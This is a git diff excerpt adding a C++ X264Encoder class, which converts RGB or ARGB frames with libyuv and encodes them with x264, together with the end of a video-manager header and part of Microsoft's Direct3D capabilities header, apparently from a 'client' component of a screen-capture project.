|
||||
CVideoCodec *m_pVideoCodec; //ѹ<><D1B9><EFBFBD><EFBFBD>
|
||||
void CVideoManager::Destroy();
|
||||
void Destroy();
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_VIDEOMANAGER_H__883F2A96_1F93_4657_A169_5520CB142D46__INCLUDED_)
|
||||
|
||||
163
client/X264Encoder.cpp
Normal file
163
client/X264Encoder.cpp
Normal file
@@ -0,0 +1,163 @@
|
||||
#include "X264Encoder.h"
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#ifdef _WIN64
|
||||
#pragma comment(lib,"libyuv/libyuv_x64.lib")
|
||||
#pragma comment(lib,"x264/libx264_x64.lib")
|
||||
#else
|
||||
#pragma comment(lib,"libyuv/libyuv.lib")
|
||||
#pragma comment(lib,"x264/libx264.lib")
|
||||
#endif
|
||||
|
||||
CX264Encoder::CX264Encoder()
|
||||
{
|
||||
memset(&m_Param, 0, sizeof(m_Param));
|
||||
m_pCodec = NULL;
|
||||
m_pPicIn = NULL;
|
||||
m_pPicOut = NULL;
|
||||
}
|
||||
|
||||
|
||||
CX264Encoder::~CX264Encoder()
|
||||
{
|
||||
close();
|
||||
}
|
||||
|
||||
bool CX264Encoder::open(int width, int height, int fps, int bitrate)
|
||||
{
|
||||
x264_param_t param = { 0 };
|
||||
x264_param_default_preset(¶m, "ultrafast", "zerolatency");
|
||||
|
||||
param.i_width = width & 0xfffffffe;
|
||||
param.i_height = height & 0xfffffffe;
|
||||
|
||||
//x264_LOG_NONE
|
||||
param.i_log_level = X264_LOG_NONE;
|
||||
param.i_threads = 1;
|
||||
param.i_frame_total = 0;
|
||||
param.i_keyint_max = 10;
|
||||
param.i_bframe = 0; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>b֡
|
||||
param.b_open_gop = 0;
|
||||
param.i_fps_num = fps;
|
||||
param.i_csp = X264_CSP_I420;
|
||||
|
||||
if (bitrate)
|
||||
{
|
||||
param.rc.i_rc_method = X264_RC_ABR;
|
||||
param.rc.i_bitrate = bitrate;
|
||||
}
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD>profile.
|
||||
if (x264_param_apply_profile(¶m, x264_profile_names[0]))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
return open(¶m);
|
||||
}
|
||||
|
||||
bool CX264Encoder::open(x264_param_t * param)
|
||||
{
|
||||
m_pPicIn = (x264_picture_t*)calloc(1, sizeof(x264_picture_t));
|
||||
m_pPicOut = (x264_picture_t*)calloc(1, sizeof(x264_picture_t));
|
||||
|
||||
//input pic.
|
||||
x264_picture_init(m_pPicIn);
|
||||
|
||||
x264_picture_alloc(
|
||||
m_pPicIn,
|
||||
X264_CSP_I420,
|
||||
param->i_width,
|
||||
param->i_height);
|
||||
|
||||
//create codec instance.
|
||||
m_pCodec = x264_encoder_open(param);
|
||||
if (m_pCodec == NULL){
|
||||
return false;
|
||||
}
|
||||
memcpy(&m_Param, param, sizeof(m_Param));
|
||||
return true;
|
||||
}
|
||||
|
||||
|
||||
void CX264Encoder::close()
|
||||
{
|
||||
if (m_pCodec)
|
||||
{
|
||||
x264_encoder_close(m_pCodec);
|
||||
m_pCodec = NULL;
|
||||
}
|
||||
|
||||
if (m_pPicIn)
|
||||
{
|
||||
x264_picture_clean(m_pPicIn);
|
||||
free(m_pPicIn);
|
||||
m_pPicIn = NULL;
|
||||
}
|
||||
|
||||
if (m_pPicOut)
|
||||
{
|
||||
free(m_pPicOut);
|
||||
m_pPicOut = NULL;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
int CX264Encoder::encode(
|
||||
uint8_t * rgb,
|
||||
uint8_t bpp,
|
||||
uint32_t stride,
|
||||
uint32_t width,
|
||||
uint32_t height,
|
||||
uint8_t ** lppData,
|
||||
uint32_t * lpSize,
|
||||
int direction)
|
||||
{
|
||||
int encode_size = 0;
|
||||
x264_nal_t *pNal = NULL;
|
||||
int iNal;
|
||||
|
||||
if ((width & 0xfffffffe) != m_Param.i_width ||
|
||||
(height & 0xfffffffe) != m_Param.i_height)
|
||||
{
|
||||
return -1;
|
||||
}
|
||||
|
||||
switch (bpp)
|
||||
{
|
||||
case 24:
|
||||
libyuv::RGB24ToI420((uint8_t*)rgb, stride,
|
||||
m_pPicIn->img.plane[0], m_pPicIn->img.i_stride[0],
|
||||
m_pPicIn->img.plane[1], m_pPicIn->img.i_stride[1],
|
||||
m_pPicIn->img.plane[2], m_pPicIn->img.i_stride[2],
|
||||
m_Param.i_width, direction * m_Param.i_height);
|
||||
break;
|
||||
case 32:
|
||||
libyuv::ARGBToI420((uint8_t*)rgb, stride,
|
||||
m_pPicIn->img.plane[0], m_pPicIn->img.i_stride[0],
|
||||
m_pPicIn->img.plane[1], m_pPicIn->img.i_stride[1],
|
||||
m_pPicIn->img.plane[2], m_pPicIn->img.i_stride[2],
|
||||
m_Param.i_width, direction * m_Param.i_height);
|
||||
break;
|
||||
default:
|
||||
return -2;
|
||||
}
|
||||
|
||||
|
||||
encode_size = x264_encoder_encode(
|
||||
m_pCodec,
|
||||
&pNal,
|
||||
&iNal,
|
||||
m_pPicIn,
|
||||
m_pPicOut);
|
||||
|
||||
if (encode_size < 0)
|
||||
{
|
||||
return -3;
|
||||
}
|
||||
|
||||
*lppData = pNal->p_payload;
|
||||
*lpSize = encode_size;
|
||||
return 0;
|
||||
}
|
||||
35
client/X264Encoder.h
Normal file
35
client/X264Encoder.h
Normal file
@@ -0,0 +1,35 @@
|
||||
#pragma once
|
||||
|
||||
extern "C"{
|
||||
#include <libyuv\libyuv.h>
|
||||
#include <x264\x264.h>
|
||||
}
|
||||
|
||||
class CX264Encoder
|
||||
{
|
||||
private:
|
||||
x264_t* m_pCodec; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʵ<EFBFBD><CAB5>
|
||||
x264_picture_t *m_pPicIn;
|
||||
x264_picture_t *m_pPicOut;
|
||||
x264_param_t m_Param;
|
||||
public:
|
||||
bool open(int width, int height, int fps,int bitrate);
|
||||
bool open(x264_param_t * param);
|
||||
|
||||
void close();
|
||||
|
||||
int encode(
|
||||
uint8_t * rgb,
|
||||
uint8_t bpp,
|
||||
uint32_t stride,
|
||||
uint32_t width,
|
||||
uint32_t height,
|
||||
uint8_t ** lppData,
|
||||
uint32_t * lpSize,
|
||||
int direction = 1
|
||||
);
|
||||
|
||||
CX264Encoder();
|
||||
~CX264Encoder();
|
||||
};
|
||||
|
||||
1696
client/d3d/d3d.h
Normal file
1696
client/d3d/d3d.h
Normal file
File diff suppressed because it is too large
Load Diff
609
client/d3d/d3dcaps.h
Normal file
609
client/d3d/d3dcaps.h
Normal file
@@ -0,0 +1,609 @@
|
||||
/*==========================================================================;
|
||||
*
|
||||
* Copyright (C) Microsoft Corporation. All Rights Reserved.
|
||||
*
|
||||
* File: d3dcaps.h
|
||||
* Content: Direct3D capabilities include file
|
||||
*
|
||||
***************************************************************************/
|
||||
|
||||
#include <winapifamily.h>
|
||||
|
||||
#pragma region Desktop Family
|
||||
#if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP)
|
||||
|
||||
#ifndef _D3DCAPS_H
|
||||
#define _D3DCAPS_H
|
||||
|
||||
/*
|
||||
* Pull in DirectDraw include file automatically:
|
||||
*/
|
||||
#include "ddraw.h"
|
||||
|
||||
#ifndef DIRECT3D_VERSION
|
||||
#define DIRECT3D_VERSION 0x0700
|
||||
#endif
|
||||
|
||||
#if defined(_X86_) || defined(_IA64_)
|
||||
#pragma pack(4)
|
||||
#endif
|
||||
|
||||
/* Description of capabilities of transform */
|
||||
|
||||
typedef struct _D3DTRANSFORMCAPS {
|
||||
DWORD dwSize;
|
||||
DWORD dwCaps;
|
||||
} D3DTRANSFORMCAPS, *LPD3DTRANSFORMCAPS;
|
||||
|
||||
#define D3DTRANSFORMCAPS_CLIP 0x00000001L /* Will clip whilst transforming */
|
||||
|
||||
/* Description of capabilities of lighting */
|
||||
|
||||
typedef struct _D3DLIGHTINGCAPS {
|
||||
DWORD dwSize;
|
||||
DWORD dwCaps; /* Lighting caps */
|
||||
DWORD dwLightingModel; /* Lighting model - RGB or mono */
|
||||
DWORD dwNumLights; /* Number of lights that can be handled */
|
||||
} D3DLIGHTINGCAPS, *LPD3DLIGHTINGCAPS;
|
||||
|
||||
#define D3DLIGHTINGMODEL_RGB 0x00000001L
|
||||
#define D3DLIGHTINGMODEL_MONO 0x00000002L
|
||||
|
||||
#define D3DLIGHTCAPS_POINT 0x00000001L /* Point lights supported */
|
||||
#define D3DLIGHTCAPS_SPOT 0x00000002L /* Spot lights supported */
|
||||
#define D3DLIGHTCAPS_DIRECTIONAL 0x00000004L /* Directional lights supported */
|
||||
#if(DIRECT3D_VERSION < 0x700)
|
||||
#define D3DLIGHTCAPS_PARALLELPOINT 0x00000008L /* Parallel point lights supported */
|
||||
#endif
|
||||
#if(DIRECT3D_VERSION < 0x500)
|
||||
#define D3DLIGHTCAPS_GLSPOT 0x00000010L /* GL syle spot lights supported */
|
||||
#endif
|
||||
|
||||
/* Description of capabilities for each primitive type */
|
||||
|
||||
typedef struct _D3DPrimCaps {
|
||||
DWORD dwSize;
|
||||
DWORD dwMiscCaps; /* Capability flags */
|
||||
DWORD dwRasterCaps;
|
||||
DWORD dwZCmpCaps;
|
||||
DWORD dwSrcBlendCaps;
|
||||
DWORD dwDestBlendCaps;
|
||||
DWORD dwAlphaCmpCaps;
|
||||
DWORD dwShadeCaps;
|
||||
DWORD dwTextureCaps;
|
||||
DWORD dwTextureFilterCaps;
|
||||
DWORD dwTextureBlendCaps;
|
||||
DWORD dwTextureAddressCaps;
|
||||
DWORD dwStippleWidth; /* maximum width and height of */
|
||||
DWORD dwStippleHeight; /* of supported stipple (up to 32x32) */
|
||||
} D3DPRIMCAPS, *LPD3DPRIMCAPS;
|
||||
|
||||
/* D3DPRIMCAPS dwMiscCaps */
|
||||
|
||||
#define D3DPMISCCAPS_MASKPLANES 0x00000001L
|
||||
#define D3DPMISCCAPS_MASKZ 0x00000002L
|
||||
#define D3DPMISCCAPS_LINEPATTERNREP 0x00000004L
|
||||
#define D3DPMISCCAPS_CONFORMANT 0x00000008L
|
||||
#define D3DPMISCCAPS_CULLNONE 0x00000010L
|
||||
#define D3DPMISCCAPS_CULLCW 0x00000020L
|
||||
#define D3DPMISCCAPS_CULLCCW 0x00000040L
|
||||
|
||||
/* D3DPRIMCAPS dwRasterCaps */
|
||||
|
||||
#define D3DPRASTERCAPS_DITHER 0x00000001L
|
||||
#define D3DPRASTERCAPS_ROP2 0x00000002L
|
||||
#define D3DPRASTERCAPS_XOR 0x00000004L
|
||||
#define D3DPRASTERCAPS_PAT 0x00000008L
|
||||
#define D3DPRASTERCAPS_ZTEST 0x00000010L
|
||||
#define D3DPRASTERCAPS_SUBPIXEL 0x00000020L
|
||||
#define D3DPRASTERCAPS_SUBPIXELX 0x00000040L
|
||||
#define D3DPRASTERCAPS_FOGVERTEX 0x00000080L
|
||||
#define D3DPRASTERCAPS_FOGTABLE 0x00000100L
|
||||
#define D3DPRASTERCAPS_STIPPLE 0x00000200L
|
||||
#if(DIRECT3D_VERSION >= 0x0500)
|
||||
#define D3DPRASTERCAPS_ANTIALIASSORTDEPENDENT 0x00000400L
|
||||
#define D3DPRASTERCAPS_ANTIALIASSORTINDEPENDENT 0x00000800L
|
||||
#define D3DPRASTERCAPS_ANTIALIASEDGES 0x00001000L
|
||||
#define D3DPRASTERCAPS_MIPMAPLODBIAS 0x00002000L
|
||||
#define D3DPRASTERCAPS_ZBIAS 0x00004000L
|
||||
#define D3DPRASTERCAPS_ZBUFFERLESSHSR 0x00008000L
|
||||
#define D3DPRASTERCAPS_FOGRANGE 0x00010000L
|
||||
#define D3DPRASTERCAPS_ANISOTROPY 0x00020000L
|
||||
#endif /* DIRECT3D_VERSION >= 0x0500 */
|
||||
#if(DIRECT3D_VERSION >= 0x0600)
|
||||
#define D3DPRASTERCAPS_WBUFFER 0x00040000L
|
||||
#define D3DPRASTERCAPS_TRANSLUCENTSORTINDEPENDENT 0x00080000L
|
||||
#define D3DPRASTERCAPS_WFOG 0x00100000L
|
||||
#define D3DPRASTERCAPS_ZFOG 0x00200000L
|
||||
#endif /* DIRECT3D_VERSION >= 0x0600 */
|
||||
|
||||
/* D3DPRIMCAPS dwZCmpCaps, dwAlphaCmpCaps */
|
||||
|
||||
#define D3DPCMPCAPS_NEVER 0x00000001L
|
||||
#define D3DPCMPCAPS_LESS 0x00000002L
|
||||
#define D3DPCMPCAPS_EQUAL 0x00000004L
|
||||
#define D3DPCMPCAPS_LESSEQUAL 0x00000008L
|
||||
#define D3DPCMPCAPS_GREATER 0x00000010L
|
||||
#define D3DPCMPCAPS_NOTEQUAL 0x00000020L
|
||||
#define D3DPCMPCAPS_GREATEREQUAL 0x00000040L
|
||||
#define D3DPCMPCAPS_ALWAYS 0x00000080L
|
||||
|
||||
/* D3DPRIMCAPS dwSourceBlendCaps, dwDestBlendCaps */
|
||||
|
||||
#define D3DPBLENDCAPS_ZERO 0x00000001L
|
||||
#define D3DPBLENDCAPS_ONE 0x00000002L
|
||||
#define D3DPBLENDCAPS_SRCCOLOR 0x00000004L
|
||||
#define D3DPBLENDCAPS_INVSRCCOLOR 0x00000008L
|
||||
#define D3DPBLENDCAPS_SRCALPHA 0x00000010L
|
||||
#define D3DPBLENDCAPS_INVSRCALPHA 0x00000020L
|
||||
#define D3DPBLENDCAPS_DESTALPHA 0x00000040L
|
||||
#define D3DPBLENDCAPS_INVDESTALPHA 0x00000080L
|
||||
#define D3DPBLENDCAPS_DESTCOLOR 0x00000100L
|
||||
#define D3DPBLENDCAPS_INVDESTCOLOR 0x00000200L
|
||||
#define D3DPBLENDCAPS_SRCALPHASAT 0x00000400L
|
||||
#define D3DPBLENDCAPS_BOTHSRCALPHA 0x00000800L
|
||||
#define D3DPBLENDCAPS_BOTHINVSRCALPHA 0x00001000L
|
||||
|
||||
/* D3DPRIMCAPS dwShadeCaps */
|
||||
|
||||
#define D3DPSHADECAPS_COLORFLATMONO 0x00000001L
|
||||
#define D3DPSHADECAPS_COLORFLATRGB 0x00000002L
|
||||
#define D3DPSHADECAPS_COLORGOURAUDMONO 0x00000004L
|
||||
#define D3DPSHADECAPS_COLORGOURAUDRGB 0x00000008L
|
||||
#define D3DPSHADECAPS_COLORPHONGMONO 0x00000010L
|
||||
#define D3DPSHADECAPS_COLORPHONGRGB 0x00000020L
|
||||
|
||||
#define D3DPSHADECAPS_SPECULARFLATMONO 0x00000040L
|
||||
#define D3DPSHADECAPS_SPECULARFLATRGB 0x00000080L
|
||||
#define D3DPSHADECAPS_SPECULARGOURAUDMONO 0x00000100L
|
||||
#define D3DPSHADECAPS_SPECULARGOURAUDRGB 0x00000200L
|
||||
#define D3DPSHADECAPS_SPECULARPHONGMONO 0x00000400L
|
||||
#define D3DPSHADECAPS_SPECULARPHONGRGB 0x00000800L
|
||||
|
||||
#define D3DPSHADECAPS_ALPHAFLATBLEND 0x00001000L
|
||||
#define D3DPSHADECAPS_ALPHAFLATSTIPPLED 0x00002000L
|
||||
#define D3DPSHADECAPS_ALPHAGOURAUDBLEND 0x00004000L
|
||||
#define D3DPSHADECAPS_ALPHAGOURAUDSTIPPLED 0x00008000L
|
||||
#define D3DPSHADECAPS_ALPHAPHONGBLEND 0x00010000L
|
||||
#define D3DPSHADECAPS_ALPHAPHONGSTIPPLED 0x00020000L
|
||||
|
||||
#define D3DPSHADECAPS_FOGFLAT 0x00040000L
|
||||
#define D3DPSHADECAPS_FOGGOURAUD 0x00080000L
|
||||
#define D3DPSHADECAPS_FOGPHONG 0x00100000L
|
||||
|
||||
/* D3DPRIMCAPS dwTextureCaps */
|
||||
|
||||
/*
|
||||
* Perspective-correct texturing is supported
|
||||
*/
|
||||
#define D3DPTEXTURECAPS_PERSPECTIVE 0x00000001L
|
||||
|
||||
/*
|
||||
* Power-of-2 texture dimensions are required
|
||||
*/
|
||||
#define D3DPTEXTURECAPS_POW2 0x00000002L
|
||||
|
||||
/*
|
||||
* Alpha in texture pixels is supported
|
||||
*/
|
||||
#define D3DPTEXTURECAPS_ALPHA 0x00000004L
|
||||
|
||||
/*
|
||||
* Color-keyed textures are supported
|
||||
*/
|
||||
#define D3DPTEXTURECAPS_TRANSPARENCY 0x00000008L
|
||||
|
||||
/*
|
||||
* obsolete, see D3DPTADDRESSCAPS_BORDER
|
||||
*/
|
||||
#define D3DPTEXTURECAPS_BORDER 0x00000010L
|
||||
|
||||
/*
|
||||
* Only square textures are supported
|
||||
*/
|
||||
#define D3DPTEXTURECAPS_SQUAREONLY 0x00000020L
|
||||
|
||||
#if(DIRECT3D_VERSION >= 0x0600)
|
||||
/*
|
||||
* Texture indices are not scaled by the texture size prior
|
||||
* to interpolation.
|
||||
*/
|
||||
#define D3DPTEXTURECAPS_TEXREPEATNOTSCALEDBYSIZE 0x00000040L
|
||||
|
||||
/*
|
||||
* Device can draw alpha from texture palettes
|
||||
*/
|
||||
#define D3DPTEXTURECAPS_ALPHAPALETTE 0x00000080L
|
||||
|
||||
/*
|
||||
* Device can use non-POW2 textures if:
|
||||
* 1) D3DTEXTURE_ADDRESS is set to CLAMP for this texture's stage
|
||||
* 2) D3DRS_WRAP(N) is zero for this texture's coordinates
|
||||
* 3) mip mapping is not enabled (use magnification filter only)
|
||||
*/
|
||||
#define D3DPTEXTURECAPS_NONPOW2CONDITIONAL 0x00000100L
|
||||
|
||||
#endif /* DIRECT3D_VERSION >= 0x0600 */
|
||||
#if(DIRECT3D_VERSION >= 0x0700)
|
||||
|
||||
// 0x00000200L unused
|
||||
|
||||
/*
|
||||
* Device can divide transformed texture coordinates by the
|
||||
* COUNTth texture coordinate (can do D3DTTFF_PROJECTED)
|
||||
*/
|
||||
#define D3DPTEXTURECAPS_PROJECTED 0x00000400L
|
||||
|
||||
/*
|
||||
* Device can do cubemap textures
|
||||
*/
|
||||
#define D3DPTEXTURECAPS_CUBEMAP 0x00000800L
|
||||
|
||||
#define D3DPTEXTURECAPS_COLORKEYBLEND 0x00001000L
|
||||
#endif /* DIRECT3D_VERSION >= 0x0700 */
|
||||
|
||||
/* D3DPRIMCAPS dwTextureFilterCaps */
|
||||
|
||||
#define D3DPTFILTERCAPS_NEAREST 0x00000001L
|
||||
#define D3DPTFILTERCAPS_LINEAR 0x00000002L
|
||||
#define D3DPTFILTERCAPS_MIPNEAREST 0x00000004L
|
||||
#define D3DPTFILTERCAPS_MIPLINEAR 0x00000008L
|
||||
#define D3DPTFILTERCAPS_LINEARMIPNEAREST 0x00000010L
|
||||
#define D3DPTFILTERCAPS_LINEARMIPLINEAR 0x00000020L
|
||||
|
||||
#if(DIRECT3D_VERSION >= 0x0600)
|
||||
/* Device3 Min Filter */
|
||||
#define D3DPTFILTERCAPS_MINFPOINT 0x00000100L
|
||||
#define D3DPTFILTERCAPS_MINFLINEAR 0x00000200L
|
||||
#define D3DPTFILTERCAPS_MINFANISOTROPIC 0x00000400L
|
||||
|
||||
/* Device3 Mip Filter */
|
||||
#define D3DPTFILTERCAPS_MIPFPOINT 0x00010000L
|
||||
#define D3DPTFILTERCAPS_MIPFLINEAR 0x00020000L
|
||||
|
||||
/* Device3 Mag Filter */
|
||||
#define D3DPTFILTERCAPS_MAGFPOINT 0x01000000L
|
||||
#define D3DPTFILTERCAPS_MAGFLINEAR 0x02000000L
|
||||
#define D3DPTFILTERCAPS_MAGFANISOTROPIC 0x04000000L
|
||||
#define D3DPTFILTERCAPS_MAGFAFLATCUBIC 0x08000000L
|
||||
#define D3DPTFILTERCAPS_MAGFGAUSSIANCUBIC 0x10000000L
|
||||
#endif /* DIRECT3D_VERSION >= 0x0600 */
|
||||
|
||||
/* D3DPRIMCAPS dwTextureBlendCaps */
|
||||
|
||||
#define D3DPTBLENDCAPS_DECAL 0x00000001L
|
||||
#define D3DPTBLENDCAPS_MODULATE 0x00000002L
|
||||
#define D3DPTBLENDCAPS_DECALALPHA 0x00000004L
|
||||
#define D3DPTBLENDCAPS_MODULATEALPHA 0x00000008L
|
||||
#define D3DPTBLENDCAPS_DECALMASK 0x00000010L
|
||||
#define D3DPTBLENDCAPS_MODULATEMASK 0x00000020L
|
||||
#define D3DPTBLENDCAPS_COPY 0x00000040L
|
||||
#if(DIRECT3D_VERSION >= 0x0500)
|
||||
#define D3DPTBLENDCAPS_ADD 0x00000080L
|
||||
#endif /* DIRECT3D_VERSION >= 0x0500 */
|
||||
|
||||
/* D3DPRIMCAPS dwTextureAddressCaps */
|
||||
#define D3DPTADDRESSCAPS_WRAP 0x00000001L
|
||||
#define D3DPTADDRESSCAPS_MIRROR 0x00000002L
|
||||
#define D3DPTADDRESSCAPS_CLAMP 0x00000004L
|
||||
#if(DIRECT3D_VERSION >= 0x0500)
|
||||
#define D3DPTADDRESSCAPS_BORDER 0x00000008L
|
||||
#define D3DPTADDRESSCAPS_INDEPENDENTUV 0x00000010L
|
||||
#endif /* DIRECT3D_VERSION >= 0x0500 */
|
||||
|
||||
#if(DIRECT3D_VERSION >= 0x0600)
|
||||
|
||||
/* D3DDEVICEDESC dwStencilCaps */
|
||||
|
||||
#define D3DSTENCILCAPS_KEEP 0x00000001L
|
||||
#define D3DSTENCILCAPS_ZERO 0x00000002L
|
||||
#define D3DSTENCILCAPS_REPLACE 0x00000004L
|
||||
#define D3DSTENCILCAPS_INCRSAT 0x00000008L
|
||||
#define D3DSTENCILCAPS_DECRSAT 0x00000010L
|
||||
#define D3DSTENCILCAPS_INVERT 0x00000020L
|
||||
#define D3DSTENCILCAPS_INCR 0x00000040L
|
||||
#define D3DSTENCILCAPS_DECR 0x00000080L
|
||||
|
||||
/* D3DDEVICEDESC dwTextureOpCaps */
|
||||
|
||||
#define D3DTEXOPCAPS_DISABLE 0x00000001L
|
||||
#define D3DTEXOPCAPS_SELECTARG1 0x00000002L
|
||||
#define D3DTEXOPCAPS_SELECTARG2 0x00000004L
|
||||
#define D3DTEXOPCAPS_MODULATE 0x00000008L
|
||||
#define D3DTEXOPCAPS_MODULATE2X 0x00000010L
|
||||
#define D3DTEXOPCAPS_MODULATE4X 0x00000020L
|
||||
#define D3DTEXOPCAPS_ADD 0x00000040L
|
||||
#define D3DTEXOPCAPS_ADDSIGNED 0x00000080L
|
||||
#define D3DTEXOPCAPS_ADDSIGNED2X 0x00000100L
|
||||
#define D3DTEXOPCAPS_SUBTRACT 0x00000200L
|
||||
#define D3DTEXOPCAPS_ADDSMOOTH 0x00000400L
|
||||
#define D3DTEXOPCAPS_BLENDDIFFUSEALPHA 0x00000800L
|
||||
#define D3DTEXOPCAPS_BLENDTEXTUREALPHA 0x00001000L
|
||||
#define D3DTEXOPCAPS_BLENDFACTORALPHA 0x00002000L
|
||||
#define D3DTEXOPCAPS_BLENDTEXTUREALPHAPM 0x00004000L
|
||||
#define D3DTEXOPCAPS_BLENDCURRENTALPHA 0x00008000L
|
||||
#define D3DTEXOPCAPS_PREMODULATE 0x00010000L
|
||||
#define D3DTEXOPCAPS_MODULATEALPHA_ADDCOLOR 0x00020000L
|
||||
#define D3DTEXOPCAPS_MODULATECOLOR_ADDALPHA 0x00040000L
|
||||
#define D3DTEXOPCAPS_MODULATEINVALPHA_ADDCOLOR 0x00080000L
|
||||
#define D3DTEXOPCAPS_MODULATEINVCOLOR_ADDALPHA 0x00100000L
|
||||
#define D3DTEXOPCAPS_BUMPENVMAP 0x00200000L
|
||||
#define D3DTEXOPCAPS_BUMPENVMAPLUMINANCE 0x00400000L
|
||||
#define D3DTEXOPCAPS_DOTPRODUCT3 0x00800000L
|
||||
|
||||
/* D3DDEVICEDESC dwFVFCaps flags */
|
||||
|
||||
#define D3DFVFCAPS_TEXCOORDCOUNTMASK 0x0000ffffL /* mask for texture coordinate count field */
|
||||
#define D3DFVFCAPS_DONOTSTRIPELEMENTS 0x00080000L /* Device prefers that vertex elements not be stripped */
|
||||
|
||||
#endif /* DIRECT3D_VERSION >= 0x0600 */
|
||||
|
||||
/*
|
||||
* Description for a device.
|
||||
* This is used to describe a device that is to be created or to query
|
||||
* the current device.
|
||||
*/
|
||||
typedef struct _D3DDeviceDesc {
|
||||
DWORD dwSize; /* Size of D3DDEVICEDESC structure */
|
||||
DWORD dwFlags; /* Indicates which fields have valid data */
|
||||
D3DCOLORMODEL dcmColorModel; /* Color model of device */
|
||||
DWORD dwDevCaps; /* Capabilities of device */
|
||||
D3DTRANSFORMCAPS dtcTransformCaps; /* Capabilities of transform */
|
||||
BOOL bClipping; /* Device can do 3D clipping */
|
||||
D3DLIGHTINGCAPS dlcLightingCaps; /* Capabilities of lighting */
|
||||
D3DPRIMCAPS dpcLineCaps;
|
||||
D3DPRIMCAPS dpcTriCaps;
|
||||
DWORD dwDeviceRenderBitDepth; /* One of DDBB_8, 16, etc.. */
|
||||
DWORD dwDeviceZBufferBitDepth;/* One of DDBD_16, 32, etc.. */
|
||||
DWORD dwMaxBufferSize; /* Maximum execute buffer size */
|
||||
DWORD dwMaxVertexCount; /* Maximum vertex count */
|
||||
#if(DIRECT3D_VERSION >= 0x0500)
|
||||
// *** New fields for DX5 *** //
|
||||
|
||||
// Width and height caps are 0 for legacy HALs.
|
||||
DWORD dwMinTextureWidth, dwMinTextureHeight;
|
||||
DWORD dwMaxTextureWidth, dwMaxTextureHeight;
|
||||
DWORD dwMinStippleWidth, dwMaxStippleWidth;
|
||||
DWORD dwMinStippleHeight, dwMaxStippleHeight;
|
||||
#endif /* DIRECT3D_VERSION >= 0x0500 */
|
||||
|
||||
#if(DIRECT3D_VERSION >= 0x0600)
|
||||
// New fields for DX6
|
||||
DWORD dwMaxTextureRepeat;
|
||||
DWORD dwMaxTextureAspectRatio;
|
||||
DWORD dwMaxAnisotropy;
|
||||
|
||||
// Guard band that the rasterizer can accommodate
|
||||
// Screen-space vertices inside this space but outside the viewport
|
||||
// will get clipped properly.
|
||||
D3DVALUE dvGuardBandLeft;
|
||||
D3DVALUE dvGuardBandTop;
|
||||
D3DVALUE dvGuardBandRight;
|
||||
D3DVALUE dvGuardBandBottom;
|
||||
|
||||
D3DVALUE dvExtentsAdjust;
|
||||
DWORD dwStencilCaps;
|
||||
|
||||
DWORD dwFVFCaps;
|
||||
DWORD dwTextureOpCaps;
|
||||
WORD wMaxTextureBlendStages;
|
||||
WORD wMaxSimultaneousTextures;
|
||||
#endif /* DIRECT3D_VERSION >= 0x0600 */
|
||||
} D3DDEVICEDESC, *LPD3DDEVICEDESC;
|
||||
|
||||
#if(DIRECT3D_VERSION >= 0x0700)
|
||||
typedef struct _D3DDeviceDesc7 {
|
||||
DWORD dwDevCaps; /* Capabilities of device */
|
||||
D3DPRIMCAPS dpcLineCaps;
|
||||
D3DPRIMCAPS dpcTriCaps;
|
||||
DWORD dwDeviceRenderBitDepth; /* One of DDBB_8, 16, etc.. */
|
||||
DWORD dwDeviceZBufferBitDepth;/* One of DDBD_16, 32, etc.. */
|
||||
|
||||
DWORD dwMinTextureWidth, dwMinTextureHeight;
|
||||
DWORD dwMaxTextureWidth, dwMaxTextureHeight;
|
||||
|
||||
DWORD dwMaxTextureRepeat;
|
||||
DWORD dwMaxTextureAspectRatio;
|
||||
DWORD dwMaxAnisotropy;
|
||||
|
||||
D3DVALUE dvGuardBandLeft;
|
||||
D3DVALUE dvGuardBandTop;
|
||||
D3DVALUE dvGuardBandRight;
|
||||
D3DVALUE dvGuardBandBottom;
|
||||
|
||||
D3DVALUE dvExtentsAdjust;
|
||||
DWORD dwStencilCaps;
|
||||
|
||||
DWORD dwFVFCaps;
|
||||
DWORD dwTextureOpCaps;
|
||||
WORD wMaxTextureBlendStages;
|
||||
WORD wMaxSimultaneousTextures;
|
||||
|
||||
DWORD dwMaxActiveLights;
|
||||
D3DVALUE dvMaxVertexW;
|
||||
GUID deviceGUID;
|
||||
|
||||
WORD wMaxUserClipPlanes;
|
||||
WORD wMaxVertexBlendMatrices;
|
||||
|
||||
DWORD dwVertexProcessingCaps;
|
||||
|
||||
DWORD dwReserved1;
|
||||
DWORD dwReserved2;
|
||||
DWORD dwReserved3;
|
||||
DWORD dwReserved4;
|
||||
} D3DDEVICEDESC7, *LPD3DDEVICEDESC7;
|
||||
#endif /* DIRECT3D_VERSION >= 0x0700 */
|
||||
|
||||
#define D3DDEVICEDESCSIZE (sizeof(D3DDEVICEDESC))
|
||||
#define D3DDEVICEDESC7SIZE (sizeof(D3DDEVICEDESC7))
|
||||
|
||||
typedef HRESULT (CALLBACK * LPD3DENUMDEVICESCALLBACK)(GUID FAR *lpGuid, LPSTR lpDeviceDescription, LPSTR lpDeviceName, LPD3DDEVICEDESC, LPD3DDEVICEDESC, LPVOID);
|
||||
|
||||
#if(DIRECT3D_VERSION >= 0x0700)
|
||||
typedef HRESULT (CALLBACK * LPD3DENUMDEVICESCALLBACK7)(LPSTR lpDeviceDescription, LPSTR lpDeviceName, LPD3DDEVICEDESC7, LPVOID);
|
||||
#endif /* DIRECT3D_VERSION >= 0x0700 */
|
||||
|
||||
/* D3DDEVICEDESC dwFlags indicating valid fields */
|
||||
|
||||
#define D3DDD_COLORMODEL 0x00000001L /* dcmColorModel is valid */
|
||||
#define D3DDD_DEVCAPS 0x00000002L /* dwDevCaps is valid */
|
||||
#define D3DDD_TRANSFORMCAPS 0x00000004L /* dtcTransformCaps is valid */
|
||||
#define D3DDD_LIGHTINGCAPS 0x00000008L /* dlcLightingCaps is valid */
|
||||
#define D3DDD_BCLIPPING 0x00000010L /* bClipping is valid */
|
||||
#define D3DDD_LINECAPS 0x00000020L /* dpcLineCaps is valid */
|
||||
#define D3DDD_TRICAPS 0x00000040L /* dpcTriCaps is valid */
|
||||
